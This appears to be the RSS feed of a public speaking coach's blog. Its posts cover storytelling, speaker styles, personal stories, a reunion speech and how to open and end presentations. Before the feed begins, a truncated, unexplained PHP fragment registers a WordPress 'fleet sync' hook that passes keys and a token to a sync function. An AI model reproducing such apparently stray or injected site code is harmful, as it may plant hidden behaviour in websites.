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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Storytelling Archives - Now you're talking https://www.nowyouretalking.co.uk/tag/storytelling/ Public speaking Tue, 25 Jun 2024 20:36:10 +0000 en-GB hourly 1 https://wordpress.org/?v=7.1 Storytelling is always there for you https://www.nowyouretalking.co.uk/2024/06/25/storytelling-is-always-there-for-you/ Tue, 25 Jun 2024 17:19:34 +0000 https://www.nowyouretalking.co.uk/?p=1605 Storytelling is always there for you and essential to standout speaking that is engaging, memorable and makes a difference. People often tell me that storytelling isn’t for them because they don’t have any stories to tell. And that simply isn’t…

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]]> Storytelling is always there for you and essential to standout speaking that is engaging, memorable and makes a difference.

People often tell me that storytelling isn’t for them because they don’t have any stories to tell. And that simply isn’t true. Our stories are everywhere, all around us. We just need to spot their relevance.

On Friday, I went to the races. A delightful day at Royal Ascot, horses, fascinators and friends.

Royal Ascot race course

I’m a big believer that betting a small amount of money on every race spices up the experience. But I don’t know much about the world of horse racing.

I can probably name the odd trainer or jockey. I can name some past winners. But I’m certainly no pundit. So, how do I choose which horses to back? Trainers and jockeys might feature. Colour of a jockey’s hat might feature. But mostly it’s the stories the horses’ names conjure up in my mind.

Here’s a canter through some of the storytelling behind the horses I backed that day at the races.

Opera Singer

I do enjoy going to the opera from time to time. But opera particularly reminds me of my mum. Her favourite was Puccini’s La Boheme. I can tell many stories about travelling around the world and going to this opera in her memory.

It came second. Sadly, I’d only backed it to win. Worse was yet to come. In the next race, Soprano appeared on the race card. I ignored it after the poor performance of Opera Singer. Shame on me. Stick to your guns I told myself as Soprano led the field across the finishing line.

Theory of Tides

I’ve been doing a Life Writing course with Faber & Faber and am currently reading a book called ‘The Tidal Year’ by Freya Bromley. A match made in heaven I thought. Apparently not. Nonetheless, I’m loving the book and now I have new material for my storytelling treasure trove that connects a writing course with a day at the races. I can certainly see how an immersive experience like Ascot could show up in a story one day.

Gushing Gold

Drawn by its enriching alliterative name, I almost won over £300!

Language matters and is dear to my heart so its importance will always feature in how I craft a story

Hard to Resist

I’d like to say that’s me, but I would never presume. I can get very passionate about things and perhaps find them hard to resist; just like the name of this horse.

While the irresistible isn’t always a winner, I can’t say I have any lasting regrets and they all certainly add to life’s rich tapestry and make us who we are.

Flight of Fancy

A good place to start when we’re building our storytelling treasure trove. Our imaginations might go a bit too far, but they help us get started and produce material we can later edit to make the point we need to make in a talk or presentation.

Matters Most

What matters most to you? Always a great source of stories you can share in your speeches. You can use it to demonstrate your values, explore obstacles that can get in our way, perhaps even determine the subject of your next TEDxTalk 😊.

In the same race, No Half Measures came third. Oops, I’ve always thrown myself heart and soul into whatever I do. Should have listened more carefully to the voice in my head going ‘That’s you, Lyn!’

Inisherin

I completely blew it. I kept mentioning what a fabulous film The Banshees of Inisherin was and then failed to put my money where my mouth was. It romped home!

If something gives you a good feeling, back your instincts.

Storytelling makes a difference

I can’t say that a story that goes with the name of a horse guarantees success – though I’d have won more if I’d stuck more closely to my stories.

But I can say that your real stories are at the heart of an engaging and memorable talk or presentation for your audience and for you as the speaker.

A day at the races and other life experiences offer many a relevant story to stash in your storytelling treasure trove and use to illustrate your point next time you’re in front of an audience.

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]]> What’s your speaker style? https://www.nowyouretalking.co.uk/2023/08/20/whats-your-speaker-style/ Sun, 20 Aug 2023 11:41:56 +0000 https://www.nowyouretalking.co.uk/?p=1526 ‘Always be a first-rate version of yourself, instead of a second-rate version of somebody else’ Judy Garland Our speaker style impacts how we appear in front of an audience, how they perceive us, their ability to connect with us and, ultimately,…

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‘Always be a first-rate version of yourself, instead of a second-rate version of somebody else’

Judy Garland

Our speaker style impacts how we appear in front of an audience, how they perceive us, their ability to connect with us and, ultimately, how they value our talks and presentations. Ideally, our core values and beliefs will remain in place, irrespective of occasion, but specific speaking situations determine the style we choose to adopt, both in terms of the supporting evidence we provide and how we behave during that time.

I tend to think in terms of six styles – Showcaser, Enthuser, Entertainer, PowerPointer, FactGiver and Changemaker.

Lyn Roseaman giving a TEDxTalk at TEDxLewisham

For example, when you’re speaking to a technical audience, they are likely to value more data-driven content, while members of a TED audience will tend to prefer more experiential personal stories and emotive arguments. If you are presenting to your board of directors, a strong air of gravitas and robust arguments will be appropriate, compared with, say, the more entertaining tone of a special occasion speech.

Some styles are more about information and evidence, while others draw more heavily on storytelling and emotional connections. Either way, giving your audience something of value is what should drive your style selection. These styles are not absolute. They are fluid, so you can easily introduce storytelling and emotive material to a data-driven presentation, and add more facts and figures to an experiential piece.

The following styles are designed to indicate ways of presenting that might be appropriate in different speaking situations, with suggestions for optimising their effectiveness. They are about adapting what you’re doing and how you’re doing it, not about changing your authentic self.

The Showcaser speaker style

The Showcaser style aims to challenge an audience’s thinking and make an impression by sharing the speaker’s successes and achievements. If the speaker can do it, so can you – and they’re going to show you how.

As presenters, they tend to be professional, charismatic, confident, well-prepared and engaging. This style may be useful in a sales scenario and might well be adopted by motivational speakers.

However, there is a fine line between delivering value for your listeners, and coming across as a staged, perhaps inauthentic, performance, with a feeling that the audience promise may not be all it claims. If you feel a Showcaser style becoming too ‘staged’, try shifting your focus more towards the Changemaker style, developing a more altruistic and philanthropic angle to increase the value you give. Ensure your stories are audience focused and deliver a clear and relevant message.

The Enthuser style

An enthusiastic and passionate speaker style with so much to share.

Enthusiastic, effusive, authentically and emotionally open to sharing their experiences, this style can be highly desirable in entertaining contexts, such as celebrations, including weddings, civil partnerships, anniversaries, toasts and tributes.

While this style often belies a laudable intention, coming from a desire to share, the enthusiasm can hijack the content of the speech, overlooking a clear message and easy-to-follow structure. This can come across as out of control, as if everything you know on the topic or person is pouring or gushing out of you at high speed.

Effusiveness can be a result of inexperience and/or a lack of audience focus. It’s crucial to be clear on the message for your listeners and to focus on stripping back the amount of content.

The Entertainer

An easy-going and relaxed speaking style, with a sense of fun and humour.

Confident, likeable, authentic and engaging, with strong storytelling skills make it ideal for after-dinner speeches, toasts, tributes, special occasions and celebrations. The ability to bring humour and entertain make a little of this style a useful addition to almost any speaking situation, including a eulogy.

Humour is an integral part of this speaking style, one that is natural and gentle emanating from your personal sense of humour rather than engineered for laughs. Your Entertainer style will probably contain a message, but it should be implicit in the stories and structure, rather than through an explicit call to action.

The PowerPointer style

The PowerPointer style leans heavily on slides as the key to sharing valuable information.

PowerPointer speaker style

Organised, informative, prepared and thorough, this style suits technical or specialist presentations and lectures designed primarily to inform and educate.

Unfortunately, this style often yields slides that are overly detailed and contain unfiltered information at the expense of a clear message. One sign is a reflex reaction to start producing slides almost as soon as you’re invited to speak. Too much detail can leave an audience feeling spoken at, rather than guided meaningfully through the information.

Speakers who depend on their slides as a crutch often feel a need for control, compared with those who introduce a few slides, videos or even props to enrich their message. If you give a lot of talks in this style, check the clarity of your message and associated content and reflect on whether fewer slides/less detail would bring greater value to your listeners.

The FactGiver speaker style

The FactGiver style has data at its core – a fount of all knowledge to inform almost any issue or situation. FactGivers are keen to share reliable and useful evidence, which they assemble conscientiously to offer what they think will be of value to their audience.

Speakers adopting this style seek to be genuinely informative, believing in the value of data and facts, which they share with commitment and enthusiasm, especially useful in company presentations, including project updates, results, board reports and other meetings where there is a need for gravitas and confidence.

The FactGiver style can give the impression that you and your data are one and the same, so that your data become your voice. This style usually sees an absence of (personal) storytelling and other means of emotional appeal and engagement.

As such, using this style, you are less likely to influence how an audience thinks, feels or acts as a result of hearing your speech. This can leave them feeling unsatisfied and hungry for something that goes a little deeper in terms of touching their emotions.

The Changemaker

The Changemaker speaker style focuses on understanding the audience, bringing people together and delivering value and/or change.

Presenters adopting this style tend to be confident, authentic, trustworthy, engaging, memorable, persuasive, inspirational and accomplished storytellers.

Lyn Roseaman giving a TEDxTalk at TEDxLewisham 2023

This style is effective in any situation where you need to persuade or inspire an audience. It’s often adopted in the political arena, motivational speaking, keynotes, job interviews, fundraising, sales and pitches.

It’s important to ensure your stories are firmly anchored to illustrating your message, rather than replacing it. If you find yourself linking a number of stories together without a clear message, your speech will probably be entertaining, but will leave your audience wondering what you want them to take away.

Speaking styles are fluid in terms of how much of each style you bring to your talk or presentation to best meet your audience’s needs. They are also necessarily fluid insofar as the fast pace of change can render the effectiveness of a particular style quite ephemeral. For instance, it wasn’t so long ago that storytelling was for children at bedtime; now it’s an essential part of so much speaking. Whether technology, knowledge of how we connect or the nature of desirable content, speakers need to stay current with what works best for their audiences.

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]]> I’m late! https://www.nowyouretalking.co.uk/2023/02/27/im-late/ Mon, 27 Feb 2023 09:14:00 +0000 https://www.nowyouretalking.co.uk/?p=1503 I’m very rarely late for anything. Meetings, flights, theatre starts or project deadlines. If it’s in my calendar, I’m usually there. But I seem to have spent my life being late for key life events that society generally expects to…

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]]> I’m very rarely late for anything. Meetings, flights, theatre starts or project deadlines. If it’s in my calendar, I’m usually there. But I seem to have spent my life being late for key life events that society generally expects to happen at a certain time.

It all started with a due date. My debut. Expected 14 July in a local village hospital. Cancerian.

In the words of the White Rabbit:

“I’m late, I’m late for a very important date. 

No time to say goodbye, hello, I’m late, I’m late, I’m late.”

2 weeks late, in fact, refusing to come out, running out of oxygen, turning blue, blue flashing lights emergency dash from the village hospital to the North Middlesex in Edmonton. I made it! Late, but not too late. Leo. And technically, I suppose, a Londoner.

The years rolled by and I found myself late going to university. This time was a deliberate plan. Go to Paris to finesse my French while working as a waitress in hotels, before going to Exeter to study French and philosophy.

I got even later as I decided to go to Germany and hone my German, still working in hotels and loving languages.

Not sure what happened, but instead of Exeter I found myself in Scotland, studying hotel, catering and tourism… of course, with some languages thrown in!

Consequently, I was late getting a permanent job. I loved the academic world and just couldn’t tear myself away. Until I decided it doesn’t pay enough! What job could I do? I chose market research because it had the word research in its name and that’s what I’d been doing for most of the previous decade.

As a market researcher I gave a lot of presentations and conference papers. I’d received the cursory presentation skills training. I don’t think it was much help. I was vaguely competent… But certainly not connected or engaging. If only I’d known then what I know now!

And now I’ve realised that I was also late finding my ideal job.

Online, I kept doing these tests to find your ideal job, the one that suits you best. Most seemed to tell me my career choice as a market researcher was number 11 and that there were 10 jobs better suited to me. I wasn’t prepared to pay the money they wanted to reveal my top 10. But after completing my Distinguished Toastmaster, I think I’ve found it.

I started Now You’re Talking my own business as a public speaking coach.

My friend, Sally, heard me doing some one-to-one coaching and I overheard her say “Now there’s a Lyn I haven’t seen for a long time”.

Dream job. Late, but hopefully not too late.

I’m definitely still chasing something, but I’ve no idea what it is! Too late? Watch this space!

PS Bonus tip if you struggle to deliver talks and presentations that run to time

 

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]]> Get personal and change hearts & minds https://www.nowyouretalking.co.uk/2020/12/04/get-personal-and-change-hearts-minds/ Fri, 04 Dec 2020 22:51:57 +0000 https://www.nowyouretalking.co.uk/?p=1333 Whenever I go to my local coffee shop and collect pre-ordered bread, I see it on a shelf in a brown paper bag bearing my name.  And not just my name, but my name with some added ‘design’. They get…

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]]> Brown paper bag bearing the name LynWhenever I go to my local coffee shop and collect pre-ordered bread, I see it on a shelf in a brown paper bag bearing my name.  And not just my name, but my name with some added ‘design’. They get personal by using my name and, specifically, my first name. It gives me that lovely warm glow; a connection. And there are so many ways we can get personal and create connections that help us change hearts and minds when we give talks and presentations.

Don’t be afraid to use my name

I’m always very happy for someone to use my first name, but some people prefer a more formal approach. If in doubt, I simply ask how someone would like me to address them.

In hotels, they often program your name into their system, but they use a formal styling. In my case, that’s Miss Roseaman. And it so often goes wrong. Miss becomes Mrs. Roseaman is usually mispronounced. If they asked, I’d welcome them using my first name and Lyn is so much easier to deal with.

In the coffee shop, when I hear “Hi Lyn. How’s it going?” or see ‘Lyn’ on the bread bag, they instantly have my attention. They make me feel valued and part of the set-up. I feel as if I belong.

Get personal with steady eye contact

Think about how you feel when someone is talking to you, but not making eye contact. It might be a lack of confidence on their part, but it makes me wonder if I can trust them and whether they perhaps have something to hide.

Good eye contact sends a message of trust. And online, it goes even further in connecting and engaging with an audience. Online, we’re in a close-up situation and if our eyes are darting around or avoiding our viewers and listeners, we seem shifty, nervous and insincere.

Good eye contact online is hard. It means looking at your camera lens, not at the faces on the screen and that feels really unnatural  as we are drawn to looking directly at the faces of the people on our screens. It can help to stick a little picture of a friend right next to your camera lens and talk to that person, imagining them being there so as you look down the lens you’re imagining the real people beyond.

‘You’ is a magic word

The word ‘you’ is at the same time inclusive and individual. As a plural idea, it reaches your whole audience, however many they are. In the singular, it conveys a personal, one-to-one conversation, with you giving all your focus and attention to each and every one of your listeners.

Moreover, using a speaking style and tone that is right for your audience, creates the sense of a personal conversation. This is one reason why it is so important to research and know who your audience is so that you can speak to them in a way that’s comfortable, clear and relatable for them.

Share a personal story

There is perhaps nothing more compelling and memorable than a well-told personal story. Of course, it needs to be relevant to your talk and your audience.

Given that attention spans are short, opening with a story gives you time to settle, lets your listeners get to know you a little and stimulates interest in what’s to come. As you move further into your talk, another story or anecdote can help refocus attention and keep your audience engaged.

We are hard-wired to relate to stories and they are a powerful way to communicate complex ideas and data in a way that is clear and easy to remember.

When we get personal, we connect and engage with our audiences, paving the way for us to touch their hearts and minds and give speeches, talks and presentations that standout and make a difference.

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]]> Be kind – ditch the script & start a conversation https://www.nowyouretalking.co.uk/2020/11/01/start-a-conversation/ Sun, 01 Nov 2020 17:49:43 +0000 https://www.nowyouretalking.co.uk/?p=1322 How are you feeling about the month ahead? I woke up this morning feeling pretty low and under the weather, though I’m pleased to say I haven’t caught the virus! The grey miserable view outside did little to help chase…

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]]> How are you feeling about the month ahead? I woke up this morning feeling pretty low and under the weather, though I’m pleased to say I haven’t caught the virus! The grey miserable view outside did little to help chase away the blues and start a conversation.

 

Knowing that I probably shouldn’t, I decided to call my phone provider and do something about my phone contract that’s about to expire. I dread these calls. You never know whether you’re going to get someone who knows how to start a conversation and tell stories or whether you’re going to get someone reading a sales script.

 

First up, I got the script reader. After three failed attempts at my name, I said I’d called in error and hung up.

 

Take 2. I got through to a delightful man called Gary in Northern Ireland. He called me Lyn. His tone was that of a mate. Warm, friendly, fun. Here was a man who knew how to start a conversation. 2 people start a conversation

 

He was totally relatable and understood how people might be feeling, “People sometimes feel rude and grumpy, but I know it’s not personal; and so many people are worried about money. I’ve switched all our phones to sim-only for now so we have more money for Christmas.”

 

When discussing products, he brought his own experiences into the conversation and the reasons for his choices. I felt as if I was getting recommendations from a trusted friend; not a trace of ‘sales’. He did all my research for me, looking up the specs of candidate phones. He was quite happy for me to explore sim-only arrangements as opposed to phone upgrades.

 

His kindness and understanding even led to him sharing a story about how he helped an older woman who was afraid to go out and needed some help with her property – nothing to do with comms. “She was scared. I just got her address and called her local council so they could go and help her. It was just a phone call.” Such kindness.

 

I could feel my spirits start to lift. We traded stories, vulnerabilities, feelings and fears of our time. He told me all about the dog he’s just rescued. We had a little rant about politics here and across the pond, all sprinkled with laughter, openness and we got the business done.


We agreed what I should buy for now and he gave me a discount.

 

Then he suggested when I should call back to review my decision. I panicked. What if I got another script reader. I shared my concern. “I know what you mean,” he said and joked, “As an Irishman, I love to talk. Imagine getting paid for it!” He offered to keep my account open and call me back in three months. Phew! I felt relieved and in safe hands.

 

It literally pays to be kind. And what value do you put on the emotional experience of such a conversation? As we brought the call to a close, Gary said “This has been the most enjoyable call I’ve had since I joined the company four years ago.” I replied, “I was feeling pretty miserable when we first started talking and now I feel so much happier. Thank you, Gary, it’s been a real pleasure.”

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]]> Student days are the best days of your life … a reunion speech https://www.nowyouretalking.co.uk/2018/07/03/student-days-are-the-best-days-of-your-life-a-reunion-speech/ Tue, 03 Jul 2018 19:54:01 +0000 https://www.nowyouretalking.co.uk/?p=556 I have just had the real pleasure of delivering the speech at our university reunion dinner. Thanks to everyone there, we had such fun. Click here to hear the speech or read on …  1980 was a vintage year, wasn’t…

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]]> I have just had the real pleasure of delivering the speech at our university reunion dinner. Thanks to everyone there, we had such fun.

Click here to hear the speech or read on … Reunion speech

1980 was a vintage year, wasn’t it?

It gave us …

The very first episode of Yes Minister.

The 2,000th episode of Coronation Street.

We even came third in Eurovision!  Imagine!

And, bizarrely not making the news headlines was Friday 3 October 1980, our first day together at Ross Hall.

The ’80s were a different world, weren’t they?  A world before smartphones and tablets.  A world before bank accounts in credit.  A world before responsibility.

I grant you, on that first day, Prof Beavis did his best to inject a note of responsibility.  “Look to your left.  Look to your right.  And in three years’ time, one of you won’t be here!”

And maybe it worked … For a while.  But it didn’t last!

We were risk takers, some might say chancers!

Why would you play it safe going to lectures when there was a big wide world out there to discover?  Some have the enviable record of only attending one lecture in a whole term … Kath Morton.  Makes my attendance at seven accountancy and finance lectures in a year look positively studious.  But the prize surely goes to Bill Pringle, aka Pringy-Poohs!  Following an impressive run of absenteeism, he came face to face with David Gee who uttered the immortal words … “And can I ask, who are you?”

As risk takers, we did our best to poison ourselves – fried egg sandwiches, mutton pies, pints of heavy – I still can’t pronounce that word! – snakebite, sherry, Litre Vin, magic mushrooms … from the field next to Ross Hall.  Killer kebabs, curries, fish suppers and all those after-hours’ burger binges at the Ad Lib.  Then, of course, there was the inevitable stop at Gregg’s, between Crookston and main campus for sausage rolls and apple turnovers.  They’ve gone up in price a bit.  Did anyone buy shares?

There’s that unforgettable experiment to turn a mini into a people carrier.  How many people can you get into a mini and still drive it?  How many? [shout out].  Hands up if you were there … 11 of you.  We know who you are!

We were resourceful

Graeme’s early addiction to space invaders apparently paid for most Ross Hall party booze.

We ate inspirational signature dishes such as mango chutney toasties to save money for the really important essentials … like beer

Lawton used his hot-off-the-production-line Mini Metro to make his fortune by charging people the princely sum of 10p petrol money to ferry them to lectures.

We could spot future trends

Like cross-dressing.  I don’t think they were alone, but Graeme with Chris Wilson dolled up as a girl, won them best-dressed couple at a Vicars and Tarts.  Thanks go to Claire Dobie for wardrobe, hair and make-up.

We even learnt a thing or two, although perhaps not always what was intended!

  • Wine tasting, of course.
  • Without Derrick Kennedy and John McKee, Elise reckons her clam chowder would always be out of a tin, or a can as they liked to call it.
  • John Heeley, determined to teach us to have our own thoughts and opinions, gave us interesting essays to write, such as Why can public executions in England and France be considered a leisure activity? And the crucial learning, to keep a steady hand and never spill a drop of beer.  John very sadly died last year.
  • Kit Jenkins taught us listening skills as he delivered most of his lectures in little more than a whisper
  • Alistair Goldsmith taught us not to put up with any nonsense from guests, however much they’re paying! This led to Elise ‘accidentally’ tipping a heavy serving dish full of hot potatoes into the lap of a man who had his hand … up her skirt!
  • All that silver service didn’t always go according to plan. Shereen at an Epicureans’ dinner, serving extra-hard sorbet out of a pineapple managed to send it travelling down a guest’s immaculate black dinner suit. Fortunately, he had a good sense of humour
  • Ian got short shrift from the Prof for picking up a bread roll in his bare hand and plonking it on the Prof’s side plate … untouched by spoon or fork!
  • Flambéed spaghetti. Steak Diane.  Peeling bananas with a knife and fork and then setting fire to them.  All that brandy going up in flames. What a waste!

Vienna was our song.  If you haven’t seen the Elise and David M rendition, where were you?!  So stunning, it cleared dance floors.  Perhaps they can give us a re-run later?

I don’t dance, but even I was known to dance to Vienna –– after 10 pints, speaking fluent dolphin and barely able to stand.  I was shocked to learn that Pringy-Poohs doesn’t think we’d have got very far in Strictly!

Vienna even summed up lectures for some.  This means nothing to me eeeeconomics.  You’ll be pleased to hear, I also need 10 pints to sing!

We’ve come a long way since those graduation-year ambitions to live life to the full, buy a hotel, burst out of a 36C bra or be home when ET phones.

We’ve met friends here.  Sadly, we’ve also seen some pass away.  Some of you even met your partners here.

While many, if not all of us, are no longer working in hotels, if we ever were, most of us seem to have been in some area of leisure or tourism.  And the really lucky have retired.

So what does the future hold?  We know what NOT to do:

  • Don’t get drunk on sherry – too painful; or whiskey – memory failure
  • Don’t waste your student days, they are the best years of your life. Make every day great.
  • Don’t be afraid. We are strong.  We’ve survived heart attacks, cancer, knee replacements, floating across the Atlantic in a life-threatening storm, driving through a war zone in an effort to win the Commonwealth Games for Glasgow.  We can survive anything, even excruciatingly embarrassing performances at international evenings.

And we know what we have to do to move forward:

  • As Kath says, Do some bloody work! But remember work-life balance
  • Do the things you love – golf, breed puppies, retire as soon as possible and become the oldest chalet girl in town
  • Dive right in or as Lawton says when evacuating an aircraft “Stay on your feet and keep moving”
  • Take care of your hair
  • Dance down Hope Street or any street singing Oh what a perfect day, Oh flower of Scotland or anything else that feels good!

If I’ve learnt anything over the years, it’s that it’s better to give than to receive, so as I’ve laid off the wine most of the evening to give this speech, please feel free to buy me a drink later!

Remember your family and friends.  They are precious.

We don’t know what’s to come compared to what has been, but, in the words of Abraham Lincoln “it’s not the years in your life that count; it’s the life in your years”.  We’ve got away with it so far.  Here’s to the next 38 years!

Raise your glasses, please …. To Strathclyde, the Sottish Hotel School and, of course, Graeme for organising this fabulous evening.

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]]> Supporting tomorrow’s speakers today https://www.nowyouretalking.co.uk/2018/04/04/supporting-tomorrows-speakers-today/ Wed, 04 Apr 2018 10:28:45 +0000 https://www.nowyouretalking.co.uk/?p=461 Imagine being involved in a speech contest where many of the speakers do not even stand as high as your waist. Yet, these enthusiastic young people owned the stage and enthusiastically shared their stories and poems with an audience of…

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]]> Imagine being involved in a speech contest where many of the speakers do not even stand as high as your waist. Yet, these enthusiastic young people owned the stage and enthusiastically shared their stories and poems with an audience of supportive teachers, parents, family and friends, willing their children on.

Speech festival

What a privilege to adjudicate such a speaking contest, organised and run by iVerbalize at St James’ RC Primary in Petts Wood. The participants were children from the school. The youngest was in reception year. The oldest in Year 6, ie from about 4 to 10 years of age. In total, there were eight younger children and 13 older children throwing their hearts and minds into their delivery. Not only had they taken control of their nerves to do what so many adults find terrifying, they had also, in the main, written their own material.

As adjudicator, I saw my role as primarily supporting and encouraging such inspirational participants, while giving them some feedback to help them improve. My main suggestions focused on adopting a stable, confident stance, taking their time to compose themselves and trying to use their beautiful smiles while they talked. For the older contestants, we looked at tips around greater use of their voice and body language to reinforce their words. The children had lovely clear voices and generally maintained good eye contact – a tremendous skill when you’re nervous. I shared with them a tip to make sure their eye contact included everyone in the audience.

 ‘Ronke Kokoruwe, founder of iVerbalize said:

It was truly OUR privilege to have you with us. Thanks so much once again for taking the time out to inspire & encourage youngsters to be great!!! It is wonderful to have you as part of our iVerbalize journey! We would love to have you back as a returning adjudicator and will do our best to ensure the weather is so much better! A nice summer’s day just for you. 

Weather aside, it was, indeed, a wonderful day. Despite almost freezing alive to get there on a very cold and snowy Saturday in March, I left glowing with pride at what these young people had achieved. I sincerely hope they keep practising their speaking and enjoy the success it will help them achieve throughout their lives.

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]]> I’m gorgeous! https://www.nowyouretalking.co.uk/2018/02/03/im-gorgeous/ Sat, 03 Feb 2018 13:14:44 +0000 https://www.nowyouretalking.co.uk/?p=433 Come with me to Saturday morning.  The normally dusty car park is transformed into a vibrant, colourful market.  Stalls piled high with organic fruit and vegetables, bread, cheese, olives, cakes, wine and all sorts of delicious indulgences.  The smells of…

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]]> Come with me to Saturday morning.  The normally dusty car park is transformed into a vibrant, colourful market.  Stalls piled high with organic fruit and vegetables, bread, cheese, olives, cakes, wine and all sorts of delicious indulgences.  The smells of fabulous food cooking and coffee roasting fill the air.

Our eyes meet across that market.  Transfixed.  We only have eyes for each other.  Everything else fades from view.  I move slowly forward.  My smile gets bigger and bigger and bigger.  Faster and faster and faster she wags her tail.  She loves me!

Woof!  Woof!Dog

Hello human people.  My name is Malacara.  You can call me Cara.  I was born on 9 April 2014, so I’m over 21 in doggie years.  You might think my name means bad face in English, but that can’t be right, can it?!.  You humans think I’m gorgeous.  Hello, gorgeous girl, you say.

In fact, I’m named after a coffee bean from El Salvador.  You see, my human daddy, Lawrence, is a coffee roaster and runs the coffee stall in the market.  I’m his favourite coffee and can you blame him.  I’m gorgeous!

I even look like coffee with my coffee-coloured fur.  Right now, I’m just back from the groomers, so I look like coffee-coloured, crushed velvet and you humans all want to stroke me!

On Saturdays, Lyn the human comes to the market and we go out to play together in the local park.

In the early days, Lyn was worried that I might forget her from one week to the next.  But, I’m not stupid, you know.  My mummy’s a field spaniel and my daddy’s a poodle, so I’m pretty clever.  Unless she was planning some kind of smell transplant, of course I would remember her.

When we first went out together, Lyn used to keep me on the lead.  I think she was scared I might run off and do battle with the traffic.  Fortunately, it was a very long lead so I could chase other dogs and play happily, but Lyn could never quite keep up.  I can run quite fast, you know.  In fact, I sometimes fancy myself as a greyhound or a whippet.  They have long legs that help them run really fast.  I only have little legs, so I have to be a little bit canny.  When we’re running round and round in circles, suddenly, I cut across the circle and create the illusion of being as fast as they are!

Lyn loves me.  She thinks I’m gorgeous.  And I try to make the most of that.

When Lyn first arrives at the market, I give her my bone.  Isn’t that nice of me.  It makes her feel very special while she holds it firmly for me so I can easily lick out all the yummy bone marrow.

In the park, Lyn throws the ball for me.  I run and fetch it.  We play tug of war with sticks.  She throws the ball again, I fetch it.  When I get tired, I hang onto the ball.  Lyn thinks I look gorgeous, sporting a pink or purple ball, clenched firmly between my very strong teeth.

When I get thirsty, I don’t have to share a water bowl with all the other doggies.  Lyn fills a bottle with lovely cool water and hand feeds it to me, as I lap the water from her paw.

As soon as I see Lyn put her hand in her pocket – that’s where she keeps my treats, I sit nicely, butter wouldn’t melt!  My big brown eyes gaze up at her and I know she’ll give me a treat.

When I’m tired and I’ve had enough, I head off towards the edge of the park and Lyn knows it’s time to go.  We go back to the market for coffee and bones.  Lyn’s good value really … she holds my bone, throws the ball, feeds me water and gives me treats.  And then it’s a final cuddle and she’s off.  I gaze after her as she walks into the distance.

Woof!  Woof!  She loves me.  She thinks I’m gorgeous!

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]]> Pizzazzing your sales presentation https://www.nowyouretalking.co.uk/2018/01/15/pizzazzing-your-sales-presentation/ Mon, 15 Jan 2018 18:52:27 +0000 https://www.nowyouretalking.co.uk/?p=319 When you give a lot of sales presentations there is always a danger of getting a bit stale. So it’s important to start your presentation with energy and pizzazz. Even if you are feeling uninspired, remember there are always options…

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]]> When you give a lot of sales presentations there is always a danger of getting a bit stale. So it’s important to start your presentation with energy and pizzazz. Even if you are feeling uninspired, remember there are always options for being more creative and having an immediate, positive impact on your audience. Starting well, being engaging and energetic makes it so much easier to keep momentum throughout your presentation.

Here are some tips on getting that early engagement and energy.

  1. Work your opening words

Lightbulb moment

Spend time working on the opening of your presentation. Practise in front of the mirror, in front of your family pet if necessary. Make sure you have a few strong sentences that will flow and get your ideas across clearly. While you are practising check that you look good too. Upright posture not only helps you exude energy it will give your clients confidence in you and encourage them to listen intently.

  1. Use anecdotes

Good presenters are adept at telling appropriate stories. They can be very brief and if told well they add colour and interest. We all have a stockpile of stories. Find one that will fit your client, perhaps a story that relates to something in the news that is relevant to their company or industry. By starting with a story you’ll set yourself apart from less accomplished presenters and energise your audience.

  1. Use active language

From the start of your presentation use active language. Avoid the passive voice. If you say “it is said that there is always a solution to a problem”, you leave everyone unsure about who will be taking responsibility for finding a solution. If you say “Today we will find a solution to this problem…” it is clear where responsibility lies and your audience will take notice.

  1. Come up with an anchor phrase

Motivational speakers often have an anchor phrase, words that everyone associates with them. You may not be standing up in front of 10,000 people in the Excel Centre but your job is still to motivate. So why not borrow a technique? “We’ll find a way”. “Yes we can!” “Paul for paper!” You can punctuate your presentation with your catch phrase right from the beginning. Doing so adds emphasis, fun, and makes you memorable. Who doesn’t need some fun or light relief in a business presentation?

  1. Quote an expert

If a catch phrase isn’t for you why not start with a high impact quote from an industry expert?  Someone respected by your audience. If the quote is recent so much the better. If it’s from a recent article or event you’ve attended you show you have your finger on the pulse. You also benefit from the credibility of the person you are quoting.

Quite often the main body of a sales presentation will contain information that we have to repeat for every client. Starting with pizzazz gives you a way to personalise your presentation and tailor it for your specific audience.

Starting with pizzazz helps you give a quality, professional presentation which builds momentum. And most importantly means you’ll seal the deal!

First published in Sales Initiative

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]]> Happy endings – how to end your speech with impact https://www.nowyouretalking.co.uk/2017/11/24/happy-endings-how-to-end-your-speech-with-impact/ Fri, 24 Nov 2017 17:13:17 +0000 https://www.nowyouretalking.co.uk/?p=314 Once upon a time, there was a great speaker called Facunda who set her audience alight with riveting openings and challenging questions. She skilfully elaborated ideas with supporting evidence and stories. Audiences hung on her every word. And then it…

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Once upon a time, there was a great speaker called Facunda who set her audience alight with riveting openings and challenging questions.

She skilfully elaborated ideas with supporting evidence and stories. Audiences hung on her every word.

And then it came to the conclusion, the ‘thank-you-for-listening, my-time-seems-to-be-up’ damp squib. Such a disappointing close and such a missed opportunity.

Call to action

Conclusions are the speaker’s opportunity to craft what they want their audience to remember tomorrow and take action on. It is the speaker’s opportunity to reaffirm their authority as someone with a message to share and one that is worth hearing. It is for this reason that many speakers believe the ending is the most important part of a speech.

Well-crafted final words will stick in people’s minds. This is partly the psychological recency effect and partly the result of a well-structured speech that ends with a fitting conclusion. For this reason it’s best to avoid wishy-washy endings:

  • Apologising for not covering everything you hoped to cover
  • Saying “Thank you for listening”
  • Empty pleasantry such as “It was a pleasure to be here”
  • Closing with the answer to a random question from the audience.

At the end of a speech, the conclusion enables you to summarise your key message and deliver a call to action. So, how can you end with a bang, not a Facunda-style whimper? How can you create happy endings?

Your conclusion should signal the end, but it is not just a final sentence. As a general rule of thumb, it should be about 10-15% of your speech. As soon as you start to summarise/review your main ideas, the audience understands that the speech is coming to an end. This removes the need for words like ‘in conclusion’ or ‘finally’. If you feel using this kind of signal to your audience is helpful, make sure you mean it; don’t ramble on or add new points.

There are a host of ways to end your presentation with a bang. They all strive to help you achieve impact, memorability, engagement and commitment.

Creating impact

As speakers, you want to influence your audiences. You are seeking to inform, persuade or inspire. You are trying to influence their knowledge, behaviour, attitudes, opinions and even beliefs. You need to crystallise your message and activate your audience. To create this level of impact, there are many techniques at your disposal that help produce compelling and impactful conclusions.

For example:

  • Reinforce your overall purpose

